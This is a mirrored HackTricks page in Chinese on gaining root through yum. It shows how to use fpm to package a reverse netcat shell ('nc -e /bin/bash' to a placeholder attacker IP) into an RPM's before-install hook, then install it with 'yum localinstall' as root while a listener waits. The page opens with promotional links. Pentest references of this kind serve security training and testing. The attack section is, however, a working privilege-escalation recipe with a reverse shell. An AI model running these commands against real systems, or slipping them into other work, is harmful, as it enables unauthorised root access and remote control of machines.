mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 02:20:20 +00:00
40 lines
2.5 KiB
Markdown
40 lines
2.5 KiB
Markdown
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
在[gtfobins](https://gtfobins.github.io/gtfobins/yum/)上还可以找到有关yum的更多示例。
|
||
|
||
# 通过RPM软件包执行任意命令
|
||
## 检查环境
|
||
为了利用这个向量,用户必须能够以更高权限的用户(即root)身份执行yum命令。
|
||
|
||
### 这个向量的一个工作示例
|
||
这个漏洞的一个工作示例可以在[tryhackme](https://tryhackme.com)的[daily bugle](https://tryhackme.com/room/dailybugle)房间中找到。
|
||
|
||
## 打包一个RPM
|
||
在接下来的部分中,我将介绍如何使用[fpm](https://github.com/jordansissel/fpm)将一个反向shell打包到一个RPM中。
|
||
|
||
下面的示例创建了一个包,其中包含一个带有任意脚本的before-install触发器,攻击者可以自行定义。安装时,此软件包将执行任意命令。我使用了一个简单的反向netcat shell示例进行演示,但可以根据需要进行更改。
|
||
```text
|
||
EXPLOITDIR=$(mktemp -d)
|
||
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
|
||
RPMNAME="exploited"
|
||
echo $CMD > $EXPLOITDIR/beforeinstall.sh
|
||
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
|
||
```
|
||
# 获取shell
|
||
使用上述示例,假设`yum`可以作为一个具有更高权限的用户执行。
|
||
|
||
1. **传输**rpm到主机
|
||
2. **在本地主机上启动**监听器,例如[示例netcat监听器](/shells/shells/linux#netcat)
|
||
3. **安装**受影响的软件包`yum localinstall -y exploited-1.0-1.noarch.rpm`
|